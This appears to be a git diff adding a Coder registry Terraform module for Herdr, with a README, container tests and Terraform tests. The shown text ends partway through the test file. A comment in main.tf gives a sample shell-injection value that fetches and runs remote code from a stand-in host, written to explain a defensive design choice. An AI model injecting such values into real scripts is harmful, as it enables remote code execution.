diff --git a/.icons/herdr.svg b/.icons/herdr.svg
new file mode 100644
index 000000000..230573150
--- /dev/null
+++ b/.icons/herdr.svg
@@ -0,0 +1,6 @@
+
diff --git a/registry/gojnimer6553/modules/herdr/README.md b/registry/gojnimer6553/modules/herdr/README.md
new file mode 100644
index 000000000..69e925811
--- /dev/null
+++ b/registry/gojnimer6553/modules/herdr/README.md
@@ -0,0 +1,185 @@
+---
+display_name: Herdr
+description: Run Herdr in a Coder workspace and opt in to installing Herdr plugins (e.g. 0cv/herdr-mobile-relay for remote phone control) non-interactively.
+icon: ../../../../.icons/herdr.svg
+verified: false
+tags: [ai, agent, mobile, terminal, herdr]
+---
+
+# Herdr
+
+Runs [Herdr](https://herdr.dev) — a terminal/agent-session manager that detects and drives coding
+agents (Claude Code, Codex, OpenCode, and others) in persistent background panes — inside a Coder
+workspace, and optionally installs Herdr [plugins](https://herdr.dev/docs/plugins/) non-interactively
+via `herdr plugin install --yes`.
+
+```tf
+module "herdr" {
+ count = data.coder_workspace.me.start_count
+ source = "registry.coder.com/gojnimer6553/herdr/coder"
+ version = "1.0.0"
+ agent_id = coder_agent.main.id
+}
+```
+
+> [!IMPORTANT]
+> This module installs and starts Herdr, but does not authenticate the coding agent(s) Herdr
+> manages (e.g. `claude auth login`) — do that in the workspace image beforehand, same as you would
+> without Herdr. Herdr itself needs no account or API key.
+
+> [!IMPORTANT]
+> `plugins` only registers plugins with `herdr plugin install --yes` — it does not run a plugin's own
+> setup wizard. Most plugins, including [0cv/herdr-mobile-relay](https://github.com/0cv/herdr-mobile-relay),
+> still need a one-time interactive step from a workspace terminal afterwards (see
+> [How plugin setup works](#how-plugin-setup-works) below). Plugins are third-party, unreviewed content
+> pulled from arbitrary GitHub repositories — only list sources you trust.
+
+## How it works
+
+Herdr has no documented headless/daemon startup mode. This module starts `herdr` detached inside its
+own `tmux` session, so the server keeps running independent of the `coder_script` that launched it. By
+default this is Herdr's default, unnamed session — the same one you get by typing `herdr` in any
+workspace terminal — so plugins installed by this module and panes you open by hand end up in the same
+place.
+
+On every workspace start, after Herdr comes up, the module runs `herdr plugin install --yes`
+for each entry in `plugins`.
+
+## How plugin setup works
+
+Installing a plugin only registers it with Herdr. Plugins that need their own setup — like
+[0cv/herdr-mobile-relay](https://github.com/0cv/herdr-mobile-relay), which needs you to choose a
+tunnel/pairing mode — still need that run once from a workspace terminal:
+
+```shell
+herdr plugin action invoke setup --plugin herdr-mobile-relay.events
+```
+
+(Substitute the plugin's own id — check its `herdr-plugin.toml` — for other plugins.) This module
+doesn't drive that wizard automatically: it's interactive by design, asking you to choose between a
+temporary and a permanent tunnel.
+
+Once a plugin like `0cv/herdr-mobile-relay` has completed its own setup and is serving a local web UI
+(mobile-relay's default is port 8375), set `app_port` to expose it as a Coder app tile — see the
+example below.
+
+### Alternative: skip the wizard with `post_start_script`
+
+`0cv/herdr-mobile-relay`'s guided setup only offers two paths, both requiring `cloudflared` — there's
+no built-in option to expose the relay through Coder's own app proxy. `post_start_script` can start
+the plugin's relay binary directly instead (`$HOME/.local/bin/herdr-mobile-relay serve`, no tunnel
+involved) — see
+[Expose a plugin's web UI through Coder instead of its own tunnel](#expose-a-plugins-web-ui-through-coder-instead-of-its-own-tunnel)
+below.
+
+## Examples
+
+### Install the mobile-relay plugin and expose its pairing UI as an app tile
+
+```tf
+module "herdr" {
+ count = data.coder_workspace.me.start_count
+ source = "registry.coder.com/gojnimer6553/herdr/coder"
+ version = "1.0.0"
+ agent_id = coder_agent.main.id
+ plugins = ["0cv/herdr-mobile-relay"]
+ app_port = 8375
+}
+```
+
+The plugin's own setup wizard (see [How plugin setup works](#how-plugin-setup-works)) still needs to
+run once from a workspace terminal before the app tile serves anything.
+
+### Expose a plugin's web UI through Coder instead of its own tunnel
+
+`0cv/herdr-mobile-relay` binds to `127.0.0.1:8375` regardless of setup path — the same address
+`app_port` already proxies through Coder. `post_start_script` can start the relay binary directly,
+skipping the wizard and its `cloudflared` requirement:
+
+```tf
+module "herdr" {
+ count = data.coder_workspace.me.start_count
+ source = "registry.coder.com/gojnimer6553/herdr/coder"
+ version = "1.0.0"
+ agent_id = coder_agent.main.id
+ plugins = ["0cv/herdr-mobile-relay"]
+ app_port = 8375
+ share = "public" # required: the phone has no Coder session to authenticate with
+ post_start_script = <<-EOT
+ #!/bin/bash
+ set -euo pipefail
+ MODULE_DIR="$HOME/.coder-modules/gojnimer6553/herdr"
+ TOKEN_FILE="$MODULE_DIR/mobile-relay-token"
+ PID_FILE="$MODULE_DIR/mobile-relay.pid"
+ [ -f "$TOKEN_FILE" ] || openssl rand -hex 16 > "$TOKEN_FILE"
+ TOKEN="$(cat "$TOKEN_FILE")"
+ # A PID file, not pgrep: pgrep -x can't match a 19-char comm name, and
+ # pgrep -f matches this script's own argv (it contains the search text).
+ if ! { [ -f "$PID_FILE" ] && kill -0 "$(cat "$PID_FILE")" 2> /dev/null; }; then
+ HERDR_RELAY_TOKEN="$TOKEN" nohup herdr-mobile-relay serve \
+ >> "$MODULE_DIR/logs/mobile-relay.log" 2>&1 &
+ echo $! > "$PID_FILE"
+ disown
+ fi
+ echo "Mobile-relay token: $TOKEN"
+ echo "Open this module's 'herdr' app tile to find its public hostname, then from a"
+ echo "workspace terminal run:"
+ echo " herdr-mobile-relay setup-fragment \"$TOKEN\" \"$(hostname -s)\" \"wss://\""
+ echo "and open https:///# on your phone."
+ EOT
+}
+```
+
+This is a workaround: it relies on undocumented plugin internals (the install path and the `serve`
+subcommand), not a documented interface. `share = "public"` makes the port reachable by anyone with
+the link — the relay's own token and end-to-end encryption are the real access control, not Coder's
+session gating.
+
+### Run Herdr's session in a specific project directory
+
+```tf
+module "herdr" {
+ count = data.coder_workspace.me.start_count
+ source = "registry.coder.com/gojnimer6553/herdr/coder"
+ version = "1.0.0"
+ agent_id = coder_agent.main.id
+ workdir = "/home/coder/project"
+}
+```
+
+### Install multiple plugins
+
+```tf
+module "herdr" {
+ count = data.coder_workspace.me.start_count
+ source = "registry.coder.com/gojnimer6553/herdr/coder"
+ version = "1.0.0"
+ agent_id = coder_agent.main.id
+ plugins = [
+ "0cv/herdr-mobile-relay",
+ "some-owner/some-other-herdr-plugin",
+ ]
+}
+```
+
+### Skip installation and use a pre-baked image
+
+```tf
+module "herdr" {
+ count = data.coder_workspace.me.start_count
+ source = "registry.coder.com/gojnimer6553/herdr/coder"
+ version = "1.0.0"
+ agent_id = coder_agent.main.id
+ install = false
+}
+```
+
+## Notes
+
+- **Requires `tmux`.** Herdr expects a real pseudo-terminal. The install script installs `tmux`
+ automatically (`apt-get`/`dnf`/`yum`/`apk`/`pacman`) when running as root or with passwordless
+ `sudo`; otherwise add it to your Dockerfile/image.
+- No version pinning: Herdr's installer has no flag for a specific version, so `install = true` always
+ installs latest. Set `install = false` and bake a pinned copy into the image for reproducible builds.
+- A plugin like `0cv/herdr-mobile-relay` can hold connections to many workspaces' relays in one phone
+ app instead of one app per workspace — see that plugin's own docs.
diff --git a/registry/gojnimer6553/modules/herdr/main.test.ts b/registry/gojnimer6553/modules/herdr/main.test.ts
new file mode 100644
index 000000000..dfbb5728d
--- /dev/null
+++ b/registry/gojnimer6553/modules/herdr/main.test.ts
@@ -0,0 +1,361 @@
+import { describe, expect, it, setDefaultTimeout } from "bun:test";
+import {
+ execContainer,
+ readFileContainer,
+ removeContainer,
+ runContainer,
+ runTerraformApply,
+ runTerraformInit,
+ testRequiredVariables,
+ writeCoder,
+ writeFileContainer,
+ type TerraformState,
+} from "~test";
+
+// coder-utils orchestrates this module's scripts and produces multiple
+// coder_script resources (install, start). Collect them by their
+// coder-utils-generated display_name so each can be executed in run order.
+interface ModuleScripts {
+ install: string;
+ start: string;
+}
+
+const collectScripts = (state: TerraformState): ModuleScripts => {
+ const byDisplayName: Record = {};
+ for (const resource of state.resources) {
+ if (resource.type !== "coder_script") continue;
+ for (const instance of resource.instances) {
+ const attrs = instance.attributes as Record;
+ const displayName = attrs.display_name as string | undefined;
+ const script = attrs.script as string | undefined;
+ if (displayName && script) {
+ byDisplayName[displayName] = script;
+ }
+ }
+ }
+ const install = byDisplayName["Herdr: Install Script"];
+ const start = byDisplayName["Herdr: Start Script"];
+ if (!install) {
+ throw new Error("install script not found in terraform state");
+ }
+ if (!start) {
+ throw new Error("start script not found in terraform state");
+ }
+ return { install, start };
+};
+
+const HERDR_BIN_PATH = "/root/.local/bin/herdr";
+const PLUGIN_LOG_PATH = "/root/.herdr-plugin-log";
+
+// Fake herdr binary: enough of the real CLI's surface for this module's
+// scripts to drive (--version, status, plugin install --yes) without
+// a real network install or a real Herdr server. Any spec containing
+// "explode" simulates a plugin that fails to install, to exercise the
+// continue-on-failure path. The default (no matched subcommand) branch
+// stands in for `herdr` launching its server/session -- it just sleeps, like
+// the real long-running process would, and records the HERDR_SESSION env var
+// it was started with so tests can confirm session_name was forwarded.
+const FAKE_HERDR_BINARY = [
+ "#!/bin/bash",
+ `LOG_FILE="${PLUGIN_LOG_PATH}"`,
+ 'if [ "$1" = "--version" ]; then',
+ ' echo "herdr fake-version 0.0.0-test"',
+ " exit 0",
+ 'elif [ "$1" = "status" ]; then',
+ " exit 0",
+ 'elif [ "$1" = "plugin" ] && [ "$2" = "install" ]; then',
+ ' spec="$3"',
+ ' case "$spec" in',
+ " *explode*)",
+ ' echo "simulated failure for $spec" >&2',
+ " exit 1",
+ " ;;",
+ " *)",
+ ' echo "$spec" >> "$LOG_FILE"',
+ " exit 0",
+ " ;;",
+ " esac",
+ "else",
+ ' echo "herdr-server-started session=${HERDR_SESSION:-default}"',
+ " sleep 3600",
+ "fi",
+].join("\n");
+
+const installFakeHerdrBinary = async (id: string) => {
+ await execContainer(id, ["mkdir", "-p", "/root/.local/bin"]);
+ await writeFileContainer(id, HERDR_BIN_PATH, FAKE_HERDR_BINARY);
+ await execContainer(id, ["chmod", "755", HERDR_BIN_PATH]);
+};
+
+setDefaultTimeout(120 * 1000);
+
+describe("herdr", async () => {
+ await runTerraformInit(import.meta.dir);
+
+ testRequiredVariables(import.meta.dir, {
+ agent_id: "foo",
+ });
+
+ it("skips installation when install=false", async () => {
+ const state = await runTerraformApply(import.meta.dir, {
+ agent_id: "foo",
+ install: false,
+ });
+ const { install, start } = collectScripts(state);
+
+ const id = await runContainer("alpine/curl");
+ try {
+ await writeCoder(id, "#!/bin/sh\nexit 0\n");
+ await execContainer(id, ["sh", "-c", "apk add --no-cache bash tmux"]);
+
+ const output = await execContainer(id, ["bash", "-c", install]);
+ expect(output.exitCode).toBe(0);
+ expect(output.stdout).toContain(
+ "⏭️ install=false; skipping Herdr installation.",
+ );
+
+ // The start script should fail fast: no herdr binary was ever installed.
+ const startOutput = await execContainer(id, ["bash", "-c", start]);
+ expect(startOutput.exitCode).not.toBe(0);
+ expect(startOutput.stderr + startOutput.stdout).toContain(
+ "herdr binary not found",
+ );
+ } finally {
+ await removeContainer(id);
+ }
+ });
+
+ it("auto-installs tmux via the system package manager when missing", async () => {
+ const state = await runTerraformApply(import.meta.dir, {
+ agent_id: "foo",
+ install: false,
+ });
+ const { install } = collectScripts(state);
+
+ const id = await runContainer("alpine/curl");
+ try {
+ await writeCoder(id, "#!/bin/sh\nexit 0\n");
+ // Deliberately no tmux here -- running as root (this image's default
+ // user), so no sudo is needed for the install script's apk fallback.
+ await execContainer(id, ["sh", "-c", "apk add --no-cache bash"]);
+
+ const output = await execContainer(id, ["bash", "-c", install]);
+ expect(output.exitCode).toBe(0);
+ expect(output.stdout).toContain("tmux not found on PATH; attempting");
+ expect(output.stdout).toContain("tmux installed automatically");
+
+ const tmuxCheck = await execContainer(id, [
+ "bash",
+ "-c",
+ "command -v tmux",
+ ]);
+ expect(tmuxCheck.exitCode).toBe(0);
+ } finally {
+ await removeContainer(id);
+ }
+ });
+
+ it("fails install with a clear error when tmux is missing and neither root nor sudo is available", async () => {
+ const state = await runTerraformApply(import.meta.dir, {
+ agent_id: "foo",
+ install: false,
+ });
+ const { install } = collectScripts(state);
+
+ const id = await runContainer("node:22-bookworm-slim");
+ try {
+ await writeCoder(id, "#!/bin/bash\nexit 0\n");
+ await execContainer(id, ["useradd", "-m", "testuser"]);
+ const output = await execContainer(
+ id,
+ ["bash", "-c", install],
+ ["-u", "testuser"],
+ );
+ expect(output.exitCode).not.toBe(0);
+ expect(output.stdout).toContain("neither root nor passwordless sudo");
+ } finally {
+ await removeContainer(id);
+ }
+ });
+
+ it("starts Herdr in a detached tmux session and installs configured plugins", async () => {
+ const state = await runTerraformApply(import.meta.dir, {
+ agent_id: "foo",
+ install: false,
+ tmux_session: "herdr-test-1",
+ session_name: "isolated",
+ plugins: JSON.stringify(["fake/plugin-one", "fake/plugin-two"]),
+ });
+ const { install, start } = collectScripts(state);
+
+ const id = await runContainer("node:22-bookworm-slim");
+ try {
+ await writeCoder(id, "#!/bin/bash\nexit 0\n");
+ // install=false, but the install script still creates the module's
+ // scripts/logs directory tree (and, incidentally, ensures tmux) --
+ // running it first mirrors how coder-utils always runs install before
+ // start on a real workspace.
+ await execContainer(id, ["bash", "-c", install]);
+ await installFakeHerdrBinary(id);
+
+ const output = await execContainer(id, ["bash", "-c", start]);
+ expect(output.exitCode).toBe(0);
+ expect(output.stdout).toContain(
+ "🚀 Starting Herdr in the background (tmux session 'herdr-test-1')",
+ );
+ expect(output.stdout).toContain("✅ Installed plugin 'fake/plugin-one'.");
+ expect(output.stdout).toContain("✅ Installed plugin 'fake/plugin-two'.");
+
+ const sessions = await execContainer(id, [
+ "bash",
+ "-c",
+ "tmux list-sessions",
+ ]);
+ expect(sessions.stdout).toContain("herdr-test-1");
+
+ const pluginLog = await readFileContainer(id, PLUGIN_LOG_PATH);
+ expect(pluginLog).toContain("fake/plugin-one");
+ expect(pluginLog).toContain("fake/plugin-two");
+
+ // session_name should be forwarded as HERDR_SESSION to the launched
+ // process. Read via capture-pane (current on-screen content), not the
+ // piped log file: "tmux pipe-pane" only starts forwarding output after
+ // it attaches, which happens in a separate command right after
+ // "new-session" -- output the wrapped process printed in that gap
+ // never reaches the log. capture-pane has no such race.
+ const pane = await execContainer(id, [
+ "bash",
+ "-c",
+ "tmux capture-pane -t herdr-test-1 -p",
+ ]);
+ expect(pane.stdout).toContain("session=isolated");
+ } finally {
+ await removeContainer(id);
+ }
+ });
+
+ it("leaves an already-running Herdr session alone on a second start", async () => {
+ const state = await runTerraformApply(import.meta.dir, {
+ agent_id: "foo",
+ install: false,
+ tmux_session: "herdr-test-2",
+ });
+ const { install, start } = collectScripts(state);
+
+ const id = await runContainer("node:22-bookworm-slim");
+ try {
+ await writeCoder(id, "#!/bin/bash\nexit 0\n");
+ await execContainer(id, ["bash", "-c", install]);
+ await installFakeHerdrBinary(id);
+
+ const first = await execContainer(id, ["bash", "-c", start]);
+ expect(first.exitCode).toBe(0);
+ expect(first.stdout).toContain("🚀 Starting Herdr");
+
+ const second = await execContainer(id, ["bash", "-c", start]);
+ expect(second.exitCode).toBe(0);
+ expect(second.stdout).toContain(
+ "tmux session 'herdr-test-2' is already running",
+ );
+
+ const sessions = await execContainer(id, [
+ "bash",
+ "-c",
+ "tmux list-sessions | grep -c herdr-test-2",
+ ]);
+ expect(sessions.stdout.trim()).toBe("1");
+ } finally {
+ await removeContainer(id);
+ }
+ });
+
+ it("continues installing remaining plugins when one fails", async () => {
+ const state = await runTerraformApply(import.meta.dir, {
+ agent_id: "foo",
+ install: false,
+ tmux_session: "herdr-test-3",
+ plugins: JSON.stringify(["fake/explode-plugin", "fake/plugin-ok"]),
+ });
+ const { install, start } = collectScripts(state);
+
+ const id = await runContainer("node:22-bookworm-slim");
+ try {
+ await writeCoder(id, "#!/bin/bash\nexit 0\n");
+ await execContainer(id, ["bash", "-c", install]);
+ await installFakeHerdrBinary(id);
+
+ const output = await execContainer(id, ["bash", "-c", start]);
+ // A single plugin failure must not fail the whole start script.
+ expect(output.exitCode).toBe(0);
+ expect(output.stdout).toContain(
+ "❌ Failed to install plugin 'fake/explode-plugin'",
+ );
+ expect(output.stdout).toContain("✅ Installed plugin 'fake/plugin-ok'.");
+ expect(output.stdout).toContain(
+ "One or more Herdr plugins failed to install",
+ );
+
+ const pluginLog = await readFileContainer(id, PLUGIN_LOG_PATH);
+ expect(pluginLog).not.toContain("explode");
+ expect(pluginLog).toContain("fake/plugin-ok");
+ } finally {
+ await removeContainer(id);
+ }
+ });
+
+ it("runs post_start_script after Herdr and its plugins are up", async () => {
+ const state = await runTerraformApply(import.meta.dir, {
+ agent_id: "foo",
+ install: false,
+ tmux_session: "herdr-test-4",
+ plugins: JSON.stringify(["fake/plugin-one"]),
+ post_start_script:
+ '#!/bin/bash\necho "post-start ran, herdr version: $(herdr --version)"',
+ });
+ const { install, start } = collectScripts(state);
+
+ const id = await runContainer("node:22-bookworm-slim");
+ try {
+ await writeCoder(id, "#!/bin/bash\nexit 0\n");
+ await execContainer(id, ["bash", "-c", install]);
+ await installFakeHerdrBinary(id);
+
+ const output = await execContainer(id, ["bash", "-c", start]);
+ expect(output.exitCode).toBe(0);
+
+ const pluginIdx = output.stdout.indexOf(
+ "✅ Installed plugin 'fake/plugin-one'.",
+ );
+ const postStartIdx = output.stdout.indexOf(
+ "post-start ran, herdr version: herdr fake-version 0.0.0-test",
+ );
+ expect(pluginIdx).toBeGreaterThan(-1);
+ expect(postStartIdx).toBeGreaterThan(pluginIdx);
+ } finally {
+ await removeContainer(id);
+ }
+ });
+
+ it("fails the start script when post_start_script exits non-zero", async () => {
+ const state = await runTerraformApply(import.meta.dir, {
+ agent_id: "foo",
+ install: false,
+ tmux_session: "herdr-test-5",
+ post_start_script: "#!/bin/bash\necho boom >&2\nexit 1",
+ });
+ const { install, start } = collectScripts(state);
+
+ const id = await runContainer("node:22-bookworm-slim");
+ try {
+ await writeCoder(id, "#!/bin/bash\nexit 0\n");
+ await execContainer(id, ["bash", "-c", install]);
+ await installFakeHerdrBinary(id);
+
+ const output = await execContainer(id, ["bash", "-c", start]);
+ expect(output.exitCode).not.toBe(0);
+ expect(output.stdout + output.stderr).toContain("boom");
+ } finally {
+ await removeContainer(id);
+ }
+ });
+});
diff --git a/registry/gojnimer6553/modules/herdr/main.tf b/registry/gojnimer6553/modules/herdr/main.tf
new file mode 100644
index 000000000..3cef04104
--- /dev/null
+++ b/registry/gojnimer6553/modules/herdr/main.tf
@@ -0,0 +1,282 @@
+terraform {
+ required_version = ">= 1.9"
+
+ required_providers {
+ coder = {
+ source = "coder/coder"
+ version = ">= 2.13"
+ }
+ }
+}
+
+variable "agent_id" {
+ description = "The ID of a Coder agent."
+ type = string
+}
+
+variable "icon" {
+ description = "The icon to use for the install/start scripts and (when app_port is set) the app tile."
+ type = string
+ # Not "/icon/herdr.svg": that path is served from Coder's own built-in icon
+ # bundle (independent of this repo's .icons/ directory, which is only used
+ # to render the registry website), and herdr isn't in it -- pointing there
+ # renders a broken image. Pinned to this fork branch for now so it resolves
+ # immediately; switch to
+ # "https://raw.githubusercontent.com/coder/registry/main/.icons/herdr.svg"
+ # once this module is merged upstream.
+ default = "https://raw.githubusercontent.com/gojnimer6553/registry/add-herdr-module/.icons/herdr.svg"
+}
+
+variable "display_name" {
+ description = "The display name prefix for this module's install/start scripts."
+ type = string
+ default = "Herdr"
+}
+
+variable "workdir" {
+ description = "The directory Herdr's session starts in. Defaults to $HOME. The directory is created if it doesn't exist."
+ type = string
+ default = null
+}
+
+variable "session_name" {
+ description = <<-EOT
+ Name of a Herdr named session (sets HERDR_SESSION) for this module to
+ start and manage. Leave unset (default) to use Herdr's default,
+ unnamed session -- the same one a user gets by simply typing `herdr` in
+ any workspace terminal, so plugins installed by this module and panes
+ opened by hand end up in the same place. Only set this if you
+ specifically need an isolated session.
+ EOT
+ type = string
+ default = null
+}
+
+variable "tmux_session" {
+ description = <<-EOT
+ Name of the tmux session used to give the Herdr server a real
+ pseudo-terminal in the background (Herdr, like most terminal
+ multiplexers, expects a real tty and has no documented headless/daemon
+ startup mode). Change this only if it collides with another session name
+ in the workspace.
+ EOT
+ type = string
+ default = "herdr"
+}
+
+variable "install" {
+ description = "Whether to install Herdr. Set to false to run a pre-installed copy instead."
+ type = bool
+ default = true
+}
+
+variable "use_cached" {
+ description = "Skip installing when `herdr` is already on PATH, instead of always reinstalling on start."
+ type = bool
+ default = false
+}
+
+variable "plugins" {
+ description = <<-EOT
+ Opt-in list of Herdr plugins to install non-interactively on every start,
+ each as an "owner/repo" or "owner/repo/subdir" spec passed to
+ `herdr plugin install --yes` (see https://herdr.dev/docs/marketplace/).
+ Defaults to none -- Herdr runs with zero plugins unless you list some
+ here. For example, ["0cv/herdr-mobile-relay"] registers the mobile-relay
+ plugin (remote phone control), matching how you'd normally run
+ `herdr plugin install 0cv/herdr-mobile-relay` by hand.
+
+ Installing a plugin here only registers it with Herdr -- it does not run
+ that plugin's own setup wizard. Most plugins (including
+ 0cv/herdr-mobile-relay) still need a one-time interactive setup step from
+ a workspace terminal afterwards; see this module's README for details.
+ Plugins are third-party, unreviewed content fetched from arbitrary GitHub
+ repositories -- only list sources you trust.
+ EOT
+ type = list(string)
+ default = []
+}
+
+variable "app_port" {
+ description = <<-EOT
+ If set, exposes this local port as a coder_app tile -- useful when one of
+ your `plugins` serves its own local web UI, such as
+ 0cv/herdr-mobile-relay's relay (default port 8375) once its setup wizard
+ has been completed from a workspace terminal. Left unset by default:
+ Herdr itself has no web UI, only some plugins do.
+ EOT
+ type = number
+ default = null
+}
+
+variable "app_slug" {
+ description = "The slug of the coder_app resource. Only used when app_port is set."
+ type = string
+ default = "herdr"
+}
+
+variable "app_display_name" {
+ description = "The display name for the app tile. Only used when app_port is set."
+ type = string
+ default = "Herdr"
+}
+
+variable "app_healthcheck_path" {
+ description = "Path appended to http://localhost: for the app tile's healthcheck. Only used when app_port is set."
+ type = string
+ default = "/healthz"
+}
+
+variable "share" {
+ description = "Determines visibility of the app tile. Must be one of 'owner', 'authenticated', or 'public'. Only used when app_port is set."
+ type = string
+ default = "owner"
+
+ validation {
+ condition = contains(["owner", "authenticated", "public"], var.share)
+ error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'."
+ }
+}
+
+variable "subdomain" {
+ description = <<-EOT
+ Determines whether the app tile will be accessed via its own subdomain or
+ whether it will be accessed via a path on Coder.
+ If wildcards have not been setup by the administrator then apps with "subdomain" set to true will not be accessible.
+ Only used when app_port is set.
+ EOT
+ type = bool
+ default = true
+}
+
+variable "open_in" {
+ description = <<-EOT
+ Determines where the app tile will be opened. Valid values are `"tab"` and `"slim-window"` (default).
+ `"tab"` opens in a new tab in the same browser window.
+ `"slim-window"` opens a new browser window without navigation controls.
+ Only used when app_port is set.
+ EOT
+ type = string
+ default = "slim-window"
+
+ validation {
+ condition = contains(["tab", "slim-window"], var.open_in)
+ error_message = "The 'open_in' variable must be one of: 'tab', 'slim-window'."
+ }
+}
+
+variable "order" {
+ description = "The order determines the position of app in the UI presentation. The lowest order is shown first and apps with equal order are sorted by name (ascending order). Only used when app_port is set."
+ type = number
+ default = null
+}
+
+variable "group" {
+ description = "The name of a group that this app belongs to. Only used when app_port is set."
+ type = string
+ default = null
+}
+
+variable "pre_install_script" {
+ description = "Custom script to run before installing Herdr. Can be used for dependency ordering between modules."
+ type = string
+ default = null
+}
+
+variable "post_install_script" {
+ description = "Custom script to run after installing Herdr, before it starts."
+ type = string
+ default = null
+}
+
+variable "post_start_script" {
+ description = <<-EOT
+ Custom script to run every start, after Herdr is up and every entry in
+ `plugins` has had an install attempted. Runs with the same PATH this
+ script uses (including "$HOME/.local/bin", where Herdr and its plugin
+ binaries install to) and the same working directory as the rest of the
+ start script.
+
+ Use this for follow-up steps that need Herdr and its plugins already
+ running -- for example, a plugin whose own setup wizard assumes
+ infrastructure this workspace doesn't have (like a Cloudflare account)
+ can often be started directly instead by invoking its installed binary
+ yourself here. A non-zero exit from this script fails the start script.
+ EOT
+ type = string
+ default = null
+}
+
+locals {
+ module_dir_name = ".coder-modules/gojnimer6553/herdr"
+ module_directory = "$HOME/${local.module_dir_name}"
+
+ # Kept as an *override only* (empty string means "no override"), rather
+ # than pre-resolving the "$HOME"-based default here as a Terraform string --
+ # this needs the literal "$HOME" in ARG_WORKDIR_OVERRIDE to expand at shell
+ # runtime, but workdir is also a caller-supplied string, and a
+ # double-quoted assignment would let a value like
+ # `foo"; curl evil.sh | sh #` break out and execute.
+ workdir_override = var.workdir != null ? var.workdir : ""
+
+ session_env = var.session_name != null ? var.session_name : ""
+
+ install_script = templatefile("${path.module}/scripts/install.sh.tftpl", {
+ ARG_INSTALL = tostring(var.install)
+ ARG_USE_CACHED = tostring(var.use_cached)
+ })
+
+ start_script = templatefile("${path.module}/scripts/start.sh.tftpl", {
+ ARG_MODULE_DIRECTORY = local.module_directory
+ ARG_WORKDIR_OVERRIDE = local.workdir_override
+ ARG_SESSION_NAME = local.session_env
+ ARG_TMUX_SESSION = var.tmux_session
+ # Newline-delimited rather than JSON: the start script parses this with
+ # a plain `while read` loop so it doesn't need a jq dependency the
+ # workspace image may not have.
+ ARG_PLUGINS = join("\n", var.plugins)
+ ARG_POST_START_SCRIPT = var.post_start_script != null ? var.post_start_script : ""
+ })
+}
+
+module "coder_utils" {
+ source = "registry.coder.com/coder/coder-utils/coder"
+ version = "0.0.1"
+
+ agent_id = var.agent_id
+ module_directory = local.module_directory
+ display_name_prefix = var.display_name
+ icon = var.icon
+ pre_install_script = var.pre_install_script
+ post_install_script = var.post_install_script
+ install_script = local.install_script
+ start_script = local.start_script
+}
+
+resource "coder_app" "herdr" {
+ count = var.app_port != null ? 1 : 0
+ agent_id = var.agent_id
+ slug = var.app_slug
+ display_name = var.app_display_name
+ url = "http://localhost:${var.app_port}"
+ icon = var.icon
+ subdomain = var.subdomain
+ share = var.share
+ order = var.order
+ group = var.group
+ open_in = var.open_in
+
+ healthcheck {
+ url = "http://localhost:${var.app_port}${var.app_healthcheck_path}"
+ interval = 5
+ threshold = 6
+ }
+}
+
+# Pass-through of coder-utils script outputs so upstream modules can serialize
+# their own coder_script resources behind this module's install pipeline
+# using `coder exp sync want `.
+output "scripts" {
+ description = "Ordered list of coder exp sync names for the coder_script resources this module actually creates, in run order (pre_install, install, post_install, start). Scripts that were not configured are absent from the list."
+ value = module.coder_utils.scripts
+}
diff --git a/registry/gojnimer6553/modules/herdr/main.tftest.hcl b/registry/gojnimer6553/modules/herdr/main.tftest.hcl
new file mode 100644
index 000000000..7e8c5fa46
--- /dev/null
+++ b/registry/gojnimer6553/modules/herdr/main.tftest.hcl
@@ -0,0 +1,301 @@
+run "defaults_are_correct" {
+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ }
+
+ assert {
+ condition = var.install == true
+ error_message = "Herdr installation should be enabled by default"
+ }
+
+ assert {
+ condition = var.use_cached == false
+ error_message = "use_cached should be disabled by default"
+ }
+
+ assert {
+ condition = length(var.plugins) == 0
+ error_message = "plugins should be empty (opt-in) by default"
+ }
+
+ assert {
+ condition = var.session_name == null
+ error_message = "session_name should be unset by default (use Herdr's default session)"
+ }
+
+ assert {
+ condition = local.session_env == ""
+ error_message = "session_env should be empty when session_name is unset"
+ }
+
+ assert {
+ condition = var.tmux_session == "herdr"
+ error_message = "Default tmux_session should be 'herdr'"
+ }
+
+ assert {
+ condition = var.app_port == null
+ error_message = "app_port should be unset (no app tile) by default"
+ }
+
+ assert {
+ condition = length(resource.coder_app.herdr) == 0
+ error_message = "No coder_app should be created when app_port is unset"
+ }
+
+ assert {
+ condition = var.share == "owner"
+ error_message = "Default share should be 'owner'"
+ }
+
+ assert {
+ condition = var.subdomain == true
+ error_message = "subdomain should be enabled by default"
+ }
+
+ assert {
+ condition = var.open_in == "slim-window"
+ error_message = "Default open_in should be 'slim-window'"
+ }
+
+ assert {
+ condition = local.module_dir_name == ".coder-modules/gojnimer6553/herdr"
+ error_message = "Module dir name should be '.coder-modules/gojnimer6553/herdr'"
+ }
+
+ assert {
+ condition = local.workdir_override == ""
+ error_message = "workdir_override should be empty by default (the script defaults to $HOME itself)"
+ }
+}
+
+run "custom_plugins_configuration" {
+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ plugins = ["0cv/herdr-mobile-relay", "some-owner/some-other-plugin"]
+ }
+
+ assert {
+ condition = length(var.plugins) == 2
+ error_message = "plugins should accept multiple entries"
+ }
+
+ assert {
+ condition = var.plugins[0] == "0cv/herdr-mobile-relay"
+ error_message = "plugins should preserve order"
+ }
+}
+
+run "custom_session_name_configuration" {
+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ session_name = "isolated"
+ }
+
+ assert {
+ condition = local.session_env == "isolated"
+ error_message = "Custom session_name should be forwarded as session_env"
+ }
+}
+
+run "custom_workdir_configuration" {
+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ workdir = "/home/coder/project"
+ }
+
+ assert {
+ condition = local.workdir_override == "/home/coder/project"
+ error_message = "Custom workdir should be forwarded as the override"
+ }
+}
+
+run "app_port_creates_app_tile" {
+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ app_port = 8375
+ }
+
+ assert {
+ condition = length(resource.coder_app.herdr) == 1
+ error_message = "Setting app_port should create exactly one coder_app"
+ }
+
+ assert {
+ condition = resource.coder_app.herdr[0].url == "http://localhost:8375"
+ error_message = "App URL should point at localhost on the configured app_port"
+ }
+
+ assert {
+ condition = resource.coder_app.herdr[0].slug == "herdr"
+ error_message = "Default app_slug should be 'herdr'"
+ }
+
+ assert {
+ condition = [for h in resource.coder_app.herdr[0].healthcheck : h.url][0] == "http://localhost:8375/healthz"
+ error_message = "Healthcheck URL should use the configured app_port and default app_healthcheck_path"
+ }
+}
+
+run "custom_app_configuration" {
